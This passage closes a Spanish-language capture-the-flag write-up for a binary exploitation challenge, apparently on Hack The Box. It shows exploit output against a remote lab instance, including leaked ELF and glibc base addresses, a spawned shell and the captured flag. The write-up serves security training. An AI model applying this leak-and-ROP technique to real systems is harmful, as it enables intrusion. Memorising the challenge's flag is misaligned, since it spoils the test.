[*] Switching to interactive mode
$ ls
flag.txt glibc solve.py sp_retribution
Y así conseguimos una shell en local.
Flag
Vamos a ejecutar el exploit en remoto:
$ python3 solve.py 161.35.162.182:31897
[*] './sp_retribution'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./glibc/'
[+] Opening connection to 161.35.162.182 on port 31897: Done
[+] ELF base address: 0x56049ec00000
[*] Loaded 14 cached gadgets for 'sp_retribution'
[*] Leaked puts() address: 0x7fd09ff4c6a0
[+] Glibc base address: 0x7fd09fedd000
[*] Switching to interactive mode
$ ls
flag.txt
glibc
sp_retribution
$ cat flag.txt
HTB{w3_f1n4lly_m4d3_1t}
El exploit completo se puede encontrar aquí: solve.py
.